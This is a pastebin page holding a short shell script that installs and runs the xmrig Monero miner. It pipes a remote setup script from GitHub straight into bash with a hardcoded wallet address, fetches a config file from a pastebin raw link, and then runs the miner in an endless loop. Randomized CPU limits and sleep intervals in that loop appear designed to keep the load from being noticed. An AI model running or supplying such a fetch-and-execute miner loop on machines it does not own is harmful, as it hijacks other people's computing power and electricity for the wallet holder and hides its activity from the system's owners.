Paste Search Dynamic
Recent pastes
curl -s -L raw.github
  1. curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 48gHX2pV2en8trKbbQ8kHC5v2cfmR9oVfELhKNoB6Dnr3z8B1fd957U2MD9fm866QdECosL5U9MZh7MhCdhBnD3pGFE72Ax
  2. cd moneroocean
  3. wget https://pastebin.com/raw/0jPR02q0 -O config.json
  4. t_min=90
  5. t_max=160
  6. cpu_min=30
  7. cpu_max=70
  8.  
  9. while true :
  10.   do
  11.     t=$(($t_min + $RANDOM % ($t_max - $t_min)))
  12.     cpu=$(($cpu_max + $t * ($cpu_min - $cpu_max)/($t_max - $t_min)))
  13.     echo "t = "$t
  14.     echo "c = "$cpu
  15.     user=$(whoami)
  16.     timeout $t cpulimit -l $cpu ./xmrig -p user
  17.     sleep $t
  18. done
Parsed in 0.001 seconds